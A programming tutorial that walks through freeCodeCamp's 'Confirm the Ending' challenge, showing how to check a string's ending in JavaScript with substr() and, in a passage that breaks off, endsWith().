ws:proxy. These older names will continue to work for the Mule 3.1.x releases, but will be removed after that.:
❶ Copies messages from a JMS queue to a JMS topic, using a transaction. ❷ reads byte arrays from an inbound vm endpoint, transforms them to strings, and writes them to an outbound vm endpoint. The responses are strings, which are transformed to byte arrays, and then written to the outbound endpoint.:
❶ Is a simple service that echos requests. ❷ is a simple web service that uses a CXF component. Note how little configuration is required to create them.:
❶ Validates that the payload is of the correct type before calling the order service, using the filter at ❷. will perform well, but if you determine that, for instance, your endpoints are receiving so much traffic that they need additional threads to process all of it, will usually perform will only receive.
❶ and ❷ create the listener beans. ❸ appears to register both beans for both component and endpoint notifications. But since
ComponentMessageNotificationLogger only implements the interface for component notifcation, those are all it will receive (and likewise for
EndpointMessageNotificationLogger.
For more about notifications, see Notifications Configuration Reference.
Agents
Mule allows you to define Agents to extend the functionality of Mule. Mule will manage the agents' lifecycle (initialize them and start them on startup, and stop them and dispose of them on sutdown). will start it and stopallows JMX to manage Mule’s use of Log4J
management:jmx-default-configallows creating all of the above at once
management:log4j-notificationscreates an agent that propagates Mule notifications to Log4 | https://docs.mulesoft.com/mule-user-guide/v/3.6/understanding-mule-configuration | CC-MAIN-2017-13 | refinedweb | 1,872 | 62.78 |
More Signal - Less Noise
Beta 2 includes a wealth of new controls including the Popup (that is new, right? It’s not that I just didn’t notice it before?).
I received an email today asking if I’d do a short How Do I video on creating a Popup and I certainly will, but here is a wicked fast tutorial for those of you who can’t wait….
There are three approaches.
1. Create the Popup as Xaml, most easily in Blend
2. Create the Popup dynamically, most easily in Visual Studio
3. Create the Popup as a User Control (the right answer, once you’re comfortable with how Popups are created
Here is a picture of what we’re going to build. The basic Silverlight control will have a button and an image…..
The button’s event handler makes the Popup visible.
If you are old enough to get the reference, from having watched it when it was first on, remind me to buy you a glass of milk the next time we’re at a conference together
If you are old enough to get the reference, from having watched it when it was first on, remind me to buy you a glass of milk the next time we’re at a conference together
There are two important things to notice:
Create your basic project with the Click Me button and the Image in Blend. Set their properties as usual.
Then select a Popup from the Asset Library
and place that inside your Grid as well. Make the Popup the container by double clicking on it, and you are ready to add the border and StackPanel. Double click on the panel to make it the container and add the TextBlock and Button. Set all the properties.
Once you have the controls set, it is time to save all the files and edit in Visual Studio.
Your Xaml file will look more or less like this:
<UserControl
xmlns=""
xmlns:x=""
x:Class="PopUpControl.Page"
xmlns:d=""
xmlns:mc=""
mc:
<Grid x:
<Grid.RowDefinitions>
<RowDefinition Height="0.15*"/>
<RowDefinition Height="0.85*"/>
</Grid.RowDefinitions>
<Button x:
<Image x:Name="LandscapeImage"
Margin="20,5,50,50"
Grid.
<Popup x:
<Border BorderBrush="Black" BorderThickness="5">
<StackPanel x:
<TextBlock x:
<Button x:
</StackPanel>
</Border>
</Popup>
</Grid>
</UserControl>
Notice that the Popup has a VerticalOffset and a HorizontalOffset; that positions it with respect to the upper left hand corner of the Silverlight control.
The Constructor sets up Page_Loaded which in turn sets up the event handlers for the two buttons,
public Page()
{
// Required to initialize variables
InitializeComponent();
Loaded += new RoutedEventHandler( Page_Loaded );
}
void Page_Loaded( object sender, RoutedEventArgs e )
{
ShowPopup.Click += new RoutedEventHandler( ShowPopup_Click );
ClosePopup.Click += new RoutedEventHandler( ClosePopup_Click );
}
void ClosePopup_Click( object sender, RoutedEventArgs e )
{
MyPopup.IsOpen = false;
}
void ShowPopup_Click( object sender, RoutedEventArgs e )
{
MyPopup.IsOpen = true;
}
An alternative approach is to set up the first button and the image as before, but to create the Popup in code. In your Xaml file you just eliminate the Popup altogether. No other changes. The big change is in the code-behind:
using System.Windows;
using System.Windows.Controls;
using System.Windows.Media;
using System.Windows.Controls.Primitives;
namespace PopUpInCode
{
public partial class Page : UserControl
{
private Popup myPopup = new Popup();
public Page()
{
InitializeComponent();
Loaded += new RoutedEventHandler( Page_Loaded );
}
void Page_Loaded( object sender, RoutedEventArgs e )
{
ShowPopup.Click += new RoutedEventHandler( ShowPopup_Click );
}
void ShowPopup_Click( object sender, RoutedEventArgs e )
{
Border border = new Border();
border.BorderBrush = new SolidColorBrush( Colors.Black );
border.BorderThickness = new Thickness( 5.0 );
StackPanel myStackPanel = new StackPanel();
myStackPanel.Background = new SolidColorBrush( Colors.LightGray );
TextBlock tb = new TextBlock();
tb.Text = "Danger Will Robinson!!";
tb.FontFamily = new FontFamily("Comic Sans MS");
tb.FontSize = 48.0;
tb.HorizontalAlignment = HorizontalAlignment.Left;
tb.VerticalAlignment = VerticalAlignment.Center;
tb.Foreground = new SolidColorBrush( Colors.Black );
Button closePopup = new Button();
closePopup.Content = "Close";
closePopup.Background = new SolidColorBrush( Colors.Magenta );
closePopup.FontFamily = new FontFamily( "Verdana" );
closePopup.FontSize = 14.0;
closePopup.Width = 50.0;
closePopup.Click += new RoutedEventHandler(ClosePopup_Click);
closePopup.Margin = new Thickness( 10 );
myStackPanel.Children.Add( tb );
myStackPanel.Children.Add( closePopup );
border.Child = myStackPanel;
myPopup.Child = border;
myPopup.VerticalOffset = 75.0;
myPopup.HorizontalOffset = 25.0;
myPopup.IsOpen = true;
}
void ClosePopup_Click( object sender, RoutedEventArgs e )
{
myPopup.IsOpen = false;
}
}
}
You’ll notice that I hewed pretty close in the code to what I had created in the Xaml without making myself too crazy.
The right way to do this, now that I’ve shown all that, is to make the Popup as a UserControl, which of course you can create as a separate .xaml file and design beautifully in Blend. then the PopUp has only to contain your UserControl and you are all set.
I’ll show that in the video. (Hey! I need something to add in the video).
Thanks.
-jesse
Source code How to use this source code
Popup was already in beta 1.
But it had a bug before. If you click some thing inside the popup to close the popup (we use the popup to make a dropdown combo box), it will crash. We have to use a timer to delay that myPopup.IsOpen call to get around the problem. Seems they fixed it beta 2. Have to try it when installed beta 2.
You said:
"Beta 2 includes a wealth of new controls including the Popup (that is new, right? It’s not that I just didn’t notice it before?)."
I count only one new control, still no ComboBox, TreeView, or Rich Text.
Maybe you were joking, sorry if I missed it.
Yeah, popup control was in beta 1.
I hope combo box and rich text box are available by RTM too.
Is there something new in Beta 2 for popup? is there a property to make it "modal"? so you can click anything else until you close it?
No popup was in beta 1 but since i said i'd only be talking about beta 2 this month, and sine someone asked me to explain how it is used...
That said, there are many new controls (really, you see only 1?) I'll have to get the list, but my count is that there are a lot more controls in my tool box than there used to be.
Much more to come on this once we release (RRSN)
Hey Jesse, is it possible to create a basic form from a Popup as a User Control and then add content to it either at runtime or at design time?
i.e. I can put the border, stack panel and the close button and create this as a generic SL Form, and then from this point use this form and add other contents to it as a new control?
Even better to take a one step further and create a skin for the form too.
But one step at a time... :-)
..Ben
No, Popup was not in the toolbox. But it was there. I could type the Tag in the Xaml and I could create it in code. We have been using it all the time.
If you consider the controls that was not in beta1 toolbox are new controls, then maybe there are a lot of new controls.
Where is WatermarkedTextBox?
The only new control I see added, is the Tab Control.
Some reading while waiting for B2--- John Stockton on Intranet Installations, Jesse Liberty on the Popup
About partial code...
I uploaded partial code because a user suggested to me that it was painful downlaoding an entire project.
I have now received feedback that my solution is penny wise and pound (dollar?) foolish and I agree. After going through the steps of recreating the project, it is just too painful. So I'll be uploading full projects from now on.
This kind of popups are modal, is it possible to configure them to be modeless?
Nice tutorial, ... I was creating this thing manually :).
It would be quite interesting to see how to extend the popup control, in order to have a base popup template (e.g. a base popup that has by default certain colors, a close button... so you don't have to repeat that boiler plate code on each popup in your application).
Jesse,
Is there a way to get the absolute x and y positions of another control on-screen? It would be useful to be able to dynamically position a popup directly below its calling control.
This would be one way to create a custom combobox control, using popup to display a listbox of data choices.
when is the video coming up? Or is it already up? thanks.
So where the video is?...
If I add an image into Popup it don't show it. Someone can tell me why?
Thanks for the example.
The msdn library entry for popup has a note that the popup should be added to the visual tree to prevent runtime errors. I have a couple of questions about that:
Is that still necessary as a workaround? I ask because it isn't shown above.
What do you suggest as best practices for doing this? The example code suggests "LayoutRoot.Children.Add(myPopup);" but that opens up some issues. LayoutRoot might not be the name of the top panel, and if you're implementing a user control it isn't in scope anyway. But you can't always add the popup to the user control because it might have a Border (with one Child rather than Children) as the top level item.
It seems like this complicates the destructor/release step as well - the popup has to be removed from the visual root so it can be garbage collected.
If you want popups not to crash when you create them in code you need to link them to the parent. Basically add the new pop to the children.
In the below code TestPopupItem is a standard user control.
Popups.TestPopupItem filterWindow = new Popups.TestPopupItem();
this.filterPopup = new Popup();
this.LayoutRoot.Children.Add(this.filterPopup);
this.filterPopup.HorizontalOffset = 80;
this.filterPopup.VerticalOffset = 80;
this.filterPopup.Child = this.filterWindow;
this.filterPopup.IsOpen = true;
So...how about that custom popup video? :D
So you tell us and supply sample code for both "wrong" ways and we get no help doing it the right way?
Where is the sample code? Where is the video you promised?
mWieder, the two ways I showed were not wrong, they just weren't as cool as using a user control (I do have videos on adding user controls; I'll have to check on whether I actually went back and did show the popup as a user control. If not, I'll be sure to add that to the list as you are right, I certainly promised to do so. | http://silverlight.net/blogs/jesseliberty/archive/2008/06/06/popup-control.aspx | crawl-002 | refinedweb | 1,785 | 67.25 |
On Consuming (and Publishing) ES2015+ Packages
For those of us that need to support older browsers, we run a compiler like Babel over application code. But that's not all of the code that we ship to browsers; there's also the code in our
node_modules.
Can we make compiling our dependencies not just possible, but normal?
The ability to compile dependencies is an enabling feature request for the whole ecosystem. Starting with some of the changes we made in Babel v7 to make selective dependency compilation possible, we hope to see it standardized moving forward.
AssumptionsAssumptions
- We ship to modern browsers that support ES2015+ natively (don't have to support IE) or are able to send multiple kinds of bundles (i.e. by using
<script type="module">and
<script nomodule>or ).
- Our dependencies actually publish ES2015+ instead of the current baseline of ES5/ES3.
- The future baseline shouldn't be fixed at ES2015, but is a changing target.
WhyWhy
Why is compiling dependencies (as opposed to just compiling our own code) desirable in the first place?
- To have the freedom to make the tradeoffs of where code is able to run (vs. the library).
- To ship less code to users, since JavaScript has a cost.
The Ephemeral JavaScript RuntimeThe Ephemeral JavaScript Runtime
The argument for why compiling dependencies would be helpful is the same for why Babel eventually introduced
@babel/preset-env. We saw that developers would eventually want to move past only compiling to ES5.
Babel used to be
6to5, since it only converted from ES2015 (known as ES6 back then) to ES5. Back then, the browser support for ES2015 was almost non-existent, so the idea of a JavaScript compiler was both novel and useful: we could write modern code, and have it work for all of our users.
But what about the browser runtimes themselves? Because evergreen browsers will eventually catch up to the standard (as they have with ES2015), creating
preset-env helps Babel and the community align with both the browsers and TC39 itself. If we only compiled to ES5, no one would ever run native code in the browsers.
The real difference is realizing that there will always be a sliding window of support:
- Application code (our supported environments)
- Browsers (Chrome, Firefox, Edge, Safari)
- Babel (the abstraction layer)
- TC39/ECMAScript proposals (and Babel implementations)
Thus, the need isn't just for
6to5 to be renamed to Babel because it compiles to
7to5, but for Babel to change the implicit assumption it only targets ES5. With
@babel/preset-env, we are able to write the latest JavaScript and target whichever browser/environment!
Using Babel and
preset-env helps us keep up with that constantly changing sliding window. However, even if we use it, it's currently used only for our application code, and not for our code’s dependencies.
Who Owns Our Dependencies?Who Owns Our Dependencies?
Because we have control over our own code, we are able to take advantage of
preset-env: both by writing in ES2015+ and targeting ES2015+ browsers.
This isn't necessarily the case for our dependencies; in order to get the same benefits as compiling our code we may need to make some changes.
Is it as straightforward as just running Babel over
node_modules?
Current Complexities in Compiling DependenciesCurrent Complexities in Compiling Dependencies
Compiler ComplexityCompiler Complexity
Although it shouldn't deter us from making this possible, we should be aware that compiling dependencies does increase the surface area of issues and complexity, especially for Babel itself.
- Compilers are no different than other programs and have bugs.
- Not every dependency needs to be compiled, and compiling more files does mean a slower build.
preset-envitself could have bugs because we use
compat-tablefor our data vs. Test262 (the official test suite).
- Browsers themselves can have issues with running native ES2015+ code vs. ES5.
- There is still a question of determining what is "supported": see babel/babel-preset-env#54 for an example of an edge case. Does it pass the test just because it parses or has partial support?
Specific Issues in Babel v6Specific Issues in Babel v6
Running a
script as a
module either causes a
SyntaxError, new runtime errors, or unexpected behavior due to the differences in semantics between classic scripts and modules.
Babel v6 viewed every file as a
module and thus in "strict mode".
One could argue this is actually a good thing, since everyone using Babel is opting in to strict mode by default 🙂.
Running Babel with a conventional setup on all our
node_modules may cause issues with code that is a
script such as a jQuery plugin.
An example of an issue is how
this gets converted to
undefined.
// Input (function($) { // … }(this.jQuery));
// Output ; (function ($) { // … })(undefined.jQuery);
This was changed in v7 so that it won't auto-inject the
"use strict" directive unless the source file is a
module.
It was also not in Babel's original scope to compile dependencies: we actually got issue reports that people would accidentally do it, making the build slower. There is a lot of defaults and documentation in the tooling that purposely disable compiling
node_modules.
Using Non-Standard SyntaxUsing Non-Standard Syntax
There are many issues with shipping uncompiled proposal syntax (this post was inspired by Dan's concern about this).
Staging ProcessStaging Process
The TC39 staging process does not always move forward: a proposal can move to any point in the process: even moving backwards from Stage 3 to Stage 2 as was the case with Numeric Separators (
1_000), dropped entirely (
Object.observe(), and others we may have forgotten 😁), or just stall like function bind (
a::b) or decorators until recently.
- Summary of the Stages: Stage 0 has no criteria and means the proposal is just an idea, Stage 1 is accepting that the problem is worth solving, Stage 2 is about describing a solution in spec text, Stage 3 means the specific solution is thought out, and Stage 4 means that it is ready for inclusion in the spec with tests, multiple browser implementations, and in-the-field experience.
Using ProposalsUsing Proposals
pic.twitter.com/femUb4vgxh— Rach Smith 🌈 (@rachsmithtweets) August 1, 2017
We already recommend that people should be careful when using proposals lower than Stage 3, let alone publishing them.
But only telling people not to use Stage X goes against the whole purpose of Babel in the first place. A big reason why proposals gain improvements and move forward are because of the feedback the committee gets from real-world usage (whether in production or not) based on using it via Babel.
There is certainly a balance to be had here: we don't want to scare people away from using new syntax (that is a hard sell 😂), but we also don't want people to get the idea that "once it's in Babel, the syntax is official or immutable". Ideally people look into the purpose of a proposal and make the tradeoffs for their use case.
Removing the Stage Presets in v7Removing the Stage Presets in v7
Even though one of the most common things people do is use the Stage 0 preset, we plan to remove the stage presets in v7. We thought at first it would be convenient, that people would make their own unofficial ones anyway, or it might help with "JavaScript fatigue". It seems to cause more of an issue: people continue to copy/paste configs without understanding what goes into a preset in the first place.
After all, seeing
"stage-0" says nothing. My hope is that in making the decision to use proposal plugins explicit, people will have to learn what non-standard syntax they are opting into. More intentionally, this should lead to a better understanding of not just Babel but of JavaScript as a language and its development instead of just its usage.
Publishing Non-standard SyntaxPublishing Non-standard Syntax
As a library author, publishing non-standard syntax is setting our users up for possible inconsistencies, refactoring, and breakage of their projects. Because a TC39 proposal (even at Stage 3) has a possibility of changing, it means we will inevitability have to change the library code. A "new" proposal doesn't mean the idea is fixed or certain but rather that we collectively want to explore the solution space.
At least if we ship the compiled version, it will still work, and the library maintainer can change the output so that it compiles into code that works the same as before. Shipping the uncompiled version means that anyone consuming a package needs to have a build step to use it and needs to have the same configuration of Babel as us. This is in the same bucket as using TS/JSX/Flow: we wouldn't expect consumers to configure the same compiler environment just because we used them.
Conflating JavaScript Modules and ES2015+Conflating JavaScript Modules and ES2015+
When we write
import foo from "foo" or
require("foo") and
foo doesn't have an
index.js, it resolves to the
main field in the
package.json of the module.
Some tools like Rollup/webpack also read from another field called
module (previously
jsnext:main). It uses this to instead resolve to the JS Module file.
// redux package.json { ... "main": "lib/redux.js", // ES5 + Common JS "module": "es/redux.js", // ES5 + JS Modules }
This was introduced so that users could consume JS Modules (ESM).
However, the sole intention of this field is ESM, not anything else. The Rollup docs specify that the
module field makes it clear that it's not intended for future JavaScript syntax.
Despite this warning, package authors invariably conflate the use of ES modules with the JavaScript language level they authored it in.
As such, we may need another way to signal the language level.
Non-scalable Solutions?Non-scalable Solutions?
A common suggestion is for libraries to start publishing ES2015 under another field like
es2015, e.g.
"es2015": "es2015/package.mjs".
// @angular/core package.json { ", }
This works for ES2015, but it begs the question of what we should do about ES2016? Are we supposed to create a new folder for each year and a new field in
package.json? That seems unsustainable, and will continue to produce larger
node_modules.
This was an issue with Babel itself: we had intended to continue to publish yearly presets (
preset-es2015,
preset-es2016..) until we realized that
preset-envwould remove that need.
Publishing it based on specific environments/syntax would seem to be just as untenable as the amount of combinations only increases (
"ie-11-arrow-functions").
What about distributing just the source itself? That may have similar problems if we used non-standard syntax as mentioned earlier.
Having a
esnext field may not be entirely helpful either. The "latest" version of JavaScript changes depending on the point in time we authored the code.
Dependencies May Not Publish ES2015+Dependencies May Not Publish ES2015+
This effort will only be standard if it becomes straightforward to apply as a library author. It will be hard to argue for the significance of this change if both new and popular libraries aren't able to ship the latest syntax.
Due to the complexity and tooling setup, it may be difficult for projects to publish ES2015+/ESM. This is probably the biggest issue to get right, and adding more documentation just isn't enough.
For Babel, we may need to add some feature requests to
@babel/cli to make this easier, and maybe make the
babel package do this by default? Or we should integrate better with tools like @developit's microbundle.
And how do we deal with polyfills (this will be an upcoming post)? What would it look like for a library author (or the user) to not to have to think about polyfills?
With all that said, how does Babel help with all this?
How Babel v7 HelpsHow Babel v7 Helps
As we've discussed, compiling dependencies in Babel v6 can be pretty painful. Babel v7 will address some of these pain points.
One issue is around configuration lookup. Babel currently runs per file, so when compiling a file, it tries to find the closest config (
.babelrc) to know what to compile against. It keeps looking up the directory tree if it doesn't find it in the current folder.
project └── .babelrc // closest config for a.js └── a.js └── node_modules └── package └── .babelrc // closest config for b.js └── b.js
We made a few changes:
- One is to stop lookup at the package boundary (stop when we find a
package.json). This makes sure Babel won't try to load a config file outside the app, the most surprising being when it finds one in the home directory.
- If we use a monorepo, we may want to have a
.babelrcper-package that extends some other central config.
- Babel itself is a monorepo, so instead we are using the new
babel.config.jswhich allows us to resolve all files to that config (no more lookup).
Selective Compilation with
"overrides"
We added an
"overrides" option which allows us to basically create a new config for any set of file paths.
This allows every config object to specify a
test/
include/
excludefield, just like you might do for Webpack. Each item allows an item, or array of items that can be a
string,
RegExp, or
function.
This allows us to have a single config for our whole app: maybe we want to compile our server JavaScript code differently than the client code (as well as compile some package(s) in
node_modules).
// babel.config.js module.exports = { presets: [ ['@babel/preset-env', { targets: { node: 'current' }, }], ], overrides: [{ test: ["./client-code", "./node_modules/package-a"], presets: [ ['@babel/preset-env', { targets: { "chrome": "60" } }, }], ], }], }
Recommendations to DiscussRecommendations to Discuss
We should shift our fixed view of publishing JavaScript to one that keeps up with the latest standard.
We should continue to publish ES5/CJS under
main for backwards compatibility with current tooling but also publish a version compiled down to latest syntax (no experimental proposals) under a new key we can standardize on like
main-es. (I don't believe
module should be that key since it was intended only for JS Modules).
Maybe we should decide on another key in
package.json, maybe
"es"? Reminds me of the poll I made for babel-preset-latest.
Compiling dependencies isn't just something for one project/company to take advantage of: it requires a push by the whole community to move forward. Even though this effort will be natural, it might require some sort of standardization: we can implement a set of criteria for how libraries can opt-in to publishing ES2015+ and verify this via CI/tooling/npm itself.
Documentation needs to updated to mention the benefits of compiling
node_modules, how to do so for the library authors, and how to consume it in bundlers/compilers.
And with Babel 7, consumers can more safely use
preset-env and opt-in to running on
node_modules with new config options like
overrides.
Let's Do This!Let's Do This!
Compiling JavaScript shouldn't be just about the specific ES2015/ES5 distinction, whether it's for our app or our dependencies! Hopefully this is an encouraging call to action re-starting conversations around using ES2015+ published dependencies more first-class.
This post goes into some of the ways Babel should help with this effort, but we'll need everyone's help to change the ecosystem: more education, more opt-in published packages, and better tooling.
Thanks to the many folks who offered to review this post including @chrisdarroch, @existentialism, @mathias, @betaorbust, @_developit, @jdalton, @bonsaistudio. | https://babeljs.io/blog/2018/06/26/on-consuming-and-publishing-es2015+-packages | CC-MAIN-2019-47 | refinedweb | 2,608 | 52.9 |
scikit-learn: machine learning in Python. Please feel free to ask specific questions about scikit-learn. Please try to keep the discussion focused on scikit-learn usage and immediately related open source projects from the Python ecosystem.
Deleted this message from the /dev/ channel. Copying and pasting here:
I am Bhavya Bhardwaj (). I am a student of Electronics and Communication at Amrita Vishwa Vidyapeetham, India. My thanks to you and the team for sklearn. I have been try to make some contributions to the scikit-learn library - scikit-learn/scikit-learn#5516. I have made the code, and the necessary changes to the init file and test files, in addition to the _classification file. This is the links to my commits - scikit-learn/scikit-learn#20861, as you will see, there are many mistakes, that I have made, Any help that you can render to me would be much appreciated and would be a wonderful learning experience.
Thank You
Hi. I am trying to develop my own Estimator based on TransformerMixin and BaseEstimator. To make sure I am doing things right I have added a test to my project :
import MyEstimator from sklearn.utils.estimator_checks import check_estimator def test () : me = MyEstimator(**params) check_estimator(me)
If I run the test, I get the following error message :
AssertionError: The error message should contain one of the following patterns: 0 feature\(s\) \(shape=\(\d*, 0\)\) while a minimum of \d* is required.
I don't understand how I am supposed to take care of that. I am even more surprise because my fit_transorm method uses self._validate_data at the beginning. I would expect that function to take care of case like these. Could someone help me with that issue ?
[FEATURE REQUEST] Add GitHub Organisation README profile
Just found out this new GitHub feature on GitHub org.
Like this: | https://gitter.im/scikit-learn/scikit-learn?at=6123b0d20da82e46aac47632 | CC-MAIN-2021-49 | refinedweb | 305 | 65.42 |
Seat reservation expired when many servers using the same redis
Hello,
I'm using Colyseus for managing multiplayer logic in my one-week game challenge. It worked like a charm when I deployed my first project, but after adding another one I've observed errors sometimes when a user tries to create a new room.
colyseus:errors Error: seat reservation expired.
The funny thing is that I've seen room creation log message in game server A when I was really creating the room in game server B. So I guess something is getting crazy when I use redis presence in both servers.
Am I right? Could redis presence be the source of the problem when two servers use the same redis server? Is there a way, like setting a namespace or similar, to share a redis among many servers?
- endel administrator last edited by endel
From my understanding you have two different games - each one deployed using a single process.
By using the same Redis database, they'll try to communicate with each other. There are two options you can take:
- Do not use RedisPresence at all. If you have both games on a single process, Redis is not going to help you there.
- Use a different Redis database for each game (
redis://your-redis-host/0,
redis://your-redis-host/1, etc)
Hope this helps! Cheers!
For the moment I'm using a single process, but I may scale these games in the future. I'll stop using redis presence now but it looks like a temporal fix. Thanks @endel !
Is there any plan to support different games with a single redis database? It would be very useful when using more than a process per game. I mean something like choosing a namespace in the redis presence configuration:
const gameServer = new Server({ server: http.createServer(app), ... presence: new RedisPresence({ namespace: 'my-game-one' }), // <-- });
That namespace could be used like a preffix in any redis-key used.
- endel administrator last edited by
Hi @sgmonda, not sure I get your question :)
The same Redis instance can have multiple "databases". It doens't need to be a different Redis host. The last segment of the Redis URI is the database number. You can use different numbers for each game, in the same Redis instance.
- volkfalcon last edited by
I got the same issue regarding "seat reservation expired"
In my case, I use pm2 to create server instances and redbird proxy for load balancing.
I failed to connect to 1 of the server instances, but it's doing okay with the other instance. (for testing, i create 2 server instances) My purpose is to make those servers connected on the same process.
My question is, can redis be used for multiple servers of the same game? Is there any solution I can do to fix this issue?
Hope to hear your feedback about this.
Thanks.
- endel administrator last edited by
Hi @volkfalcon, are you using plain
redbird, or
@colyseus/proxy?
The custom proxy () listens to Redis as well to be able to forward the connections to the right Node through the
processIdavailable in the URL.
Beware that
node-http-proxyseem to have memory leaks (). Redbird uses it as a dependency, and now
@colyseus/proxyis using
node-http-proxydirectly (it used to be redbird in the past)
Colyseus needs a better option for scalability besides using this proxy.
- volkfalcon last edited by
I was using only plain
redbird, and seems like each server can't handle the same process at all. I tried to change the code a bit, following some of your proxy logic but ended up getting the same result. In the end, the proxy should know which host and port to handle the proccess.
Before using
redbird, I have also tried
@colyseus/proxybut I thought it's not working since it always responded as timeout. After your suggestion, I tried your custom proxy again, and I just found out that the host caught by your proxy is hosted by ubuntu environment, while I tried the url from windows. Things work like a charm right after I change the host on your proxy code to 127.0.0.1 (of course for testing purpose only).
Thanks for the information about memory leaks, but seems like I got no other choice than your custom proxy for now. Yes, colyseus really needs a better option. It helps a lot in multiplayer game development. Hope to hear the good news soon.
Thank you for your kind response, @endel | https://discuss.colyseus.io/topic/349/seat-reservation-expired-when-many-servers-using-the-same-redis | CC-MAIN-2020-40 | refinedweb | 754 | 72.16 |
Use the Search field below or select a Category from the list at the left
You can create a custom Pipeline step using Python, which offers great flexibility in configuring and customizing the Pipeline.
To create a custom pipeline step using Python, you need to:
import sys
import json
def run(entry):
"""
Sample Python pipeline step. Searches the text field for "Voyager" or
"voyager" and returns the word count.
:param entry: a JSON file containing a voyager entry.
"""
new_entry = json.load(open(entry, "rb"))
voyager_word_count = 0
if 'fields' in new_entry['entry']:
if 'text' in new_entry['entry']['fields']:
text_field = new_entry['entry']['fields']['text']
voyager_word_count += text_field.count('Voyager')
voyager_word_count += text_field.count('voyager')
new_entry['entry']['fields']['fi_voyager_word_count'] = voyager_word_count
sys.stdout.write(json.dumps(new_entry))
sys.stdout.flush()
If the results are not as expected, the Python script can be debugged using the following steps:
1. Add the following lines of code to the top of the run(entry) function to make an entry file:
def run(entry):
"""
Sample Python pipeline step. Searches the text field for "Voyager" or
"voyager" and returns the word count.
:param entry: a JSON file containing a voyager entry.
"""
# FOR DEBUGGING ONLY - START
import shutil, os
if not os.path.exists(entry):
shutil.copyfile(entry, 'c:/temp/{0}'.format(os.path.basename(entry)))
### END
2. Save the script and re-build the index from within Voyager. This will create the entry file or files in the location you specified. It is recommended to only index a small set of data to create a small list of files that can be used to debug with.
3. Add a main function to the bottom of the script and call the run() function.
if __name__ == '__main__':
entry_file = "path to entry file here"
run(entry_file) | https://help.voyagersearch.com/doc-206876247-creating-a-custom-pipeline-step-using-python | CC-MAIN-2021-17 | refinedweb | 292 | 57.27 |
I am currently working on an application to use my RPi to monitor what is happening in my flat (temperature, ...) but I also want to use this application to monitor how fine my RPi is going.
As it might be of interest for some of you I decided to share some code to monitor the CPU, RAM and disk of the RPi (I have a model B, 512 Mb, Raspbian and use python 2.7 + pygame for the interface).
First the functions that can allow you to retrieve CPU information (temperature + usage), RAM info (total, usage) and disk usage (total, usage). The comments generally explain quite well the functions that actually rely on Unix commands launched from Python.
Code: Select all
import os # Return CPU temperature as a character string def getCPUtemperature(): res = os.popen('vcgencmd measure_temp').readline() return(res.replace("temp=","").replace("'C\n","")) # Return RAM information (unit=kb) in a list # Index 0: total RAM # Index 1: used RAM # Index 2: free RAM def getRAMinfo(): p = os.popen('free') i = 0 while 1: i = i + 1 line = p.readline() if i==2: return(line.split()[1:4]) # Return % of CPU used by user as a character string def getCPUuse(): return(str(os.popen("top -n1 | awk '/Cpu\(s\):/ {print $2}'").readline().strip(\ ))) # Return information about disk space as a list (unit included) # Index 0: total disk space # Index 1: used disk space # Index 2: remaining disk space # Index 3: percentage of disk used def getDiskSpace(): p = os.popen("df -h /") i = 0 while 1: i = i +1 line = p.readline() if i==2: return(line.split()[1:5])
If you want to call the function here are some examples:
Code: Select all
# CPU informatiom CPU_temp = getCPUtemperature() CPU_usage = getCPUuse() # RAM information # Output is in kb, here I convert it in Mb for readability RAM_stats = getRAMinfo() RAM_total = round(int(RAM_stats[0]) / 1000,1) RAM_used = round(int(RAM_stats[1]) / 1000,1) RAM_free = round(int(RAM_stats[2]) / 1000,1) # Disk information DISK_stats = getDiskSpace() DISK_total = DISK_stats[0] DISK_free = DISK_stats[1] DISK_perc = DISK_stats[3]
I used these chunks of codes for my interface and, so far, it works nicely and gives this kind of results: see image. The design still sucks (icons are not very explicit) but I will work on this later.
If you have any questions or want to share your tips to monitor your RPi activity using Python feel free to use this topic. By the way, the code presented here is of course free to be used. I do not guarantee it will work on every RPi but I hope so. =)
Final comment: I didn't know where to post this topic. Please move it if you think it is better suited in an other forum.
Philippe. | https://www.raspberrypi.org/forums/viewtopic.php?p=268281&sid=53f220315ee53f2a3a60addd1c8db642 | CC-MAIN-2018-05 | refinedweb | 457 | 61.16 |
In this article, I’ll explain how to solve freeCodeCamp’s “Confirm the Ending” challenge. This involves checking whether a string ends with specific sequence of characters.
There are the two approaches I’ll cover:
- using the substr() method
- using endsWith() method
The Algorithm Challenge Description.
function confirmEnding(string, target) { return string; } confirmEnding("Bastian", "n");
Provided test cases
confirmEnding("Bastian", "n") should return true. confirmEnding("Connor", "n") should return false. confirmEnding("Walking on water and developing software from a specification are easy if both are frozen", "specification") should return false. largestOfFour([[4, 9, 1, 3], [13, 35, 18, 26], [32, 35, 97, 39], [1000000, 1001, 857, 1]]) should return [9, 35, 97, 1000000]. confirmEnding("He has to give me a new name", "name")should return true. confirmEnding("Open sesame", "same") should return true. confirmEnding("Open sesame", "pen") should return false. confirmEnding("If you want to save our world, you must hurry. We dont know how much longer we can withstand the nothing", "mountain") should return false. Do not use the built-in method .endsWith() to solve the challenge.
Approach #1: Confirm the Ending of a String With Built-In Functions — with substr()
For this solution, you’ll use the String.prototype.substr() method:
- The
substr()method returns the characters in a string beginning at the specified location through the specified number of characters.
Why are you using
string.substr(-target.length)?
If the target.length is negative, the substr() method will start the counting from the end of the string, which is what you want in this code challenge.
You don’t want to use
string.substr(-1) to get the last element of the string, because if the target is longer than one letter:
confirmEnding("Open sesame", "same")
…the target won’t return at all.
So here
string.substr(-target.length) will get the last index of the string ‘Bastian’ which is ‘n’.
Then you check whether
string.substr(-target.length) equals the target (true or false).
function confirmEnding(string, target) { // Step 1. Use the substr method if (string.substr(-target.length) === target) { // What does "if (string.substr(-target.length) === target)" represents? // The string is 'Bastian' and the target is 'n' // target.length = 1 so -target.length = -1 // if ('Bastian'.substr(-1) === 'n') // if ('n' === 'n') // Step 2. Return a boolean (true or false) return true; } else { return false; } } confirmEnding('Bastian', 'n');
Without comments:
function confirmEnding(string, target) { if (string.substr(-target.length) === target) { return true; } else { return false; } } confirmEnding('Bastian', 'n');
You can use a ternary operator as a shortcut for the if statement:
(string.substr(-target.length) === target) ? true : false;
This can be read as:
if (string.substr(-target.length) === target) { return true; } else { return false; }
You then return the ternary operator in your function:
function confirmEnding(string, target) { return (string.substr(-target.length) === target) ? true : false; } confirmEnding('Bastian', 'n');
You can also refactor your code to make it more succinct by just returning the condition:
function confirmEnding(string, target) { return string.substr(-target.length) === target; } confirmEnding('Bastian', 'n');
Approach #2: Confirm the Ending of a String With Built-In Functions — with endsWith()
For this solution, you’ll use the String.prototype.endsWith() method:
- The
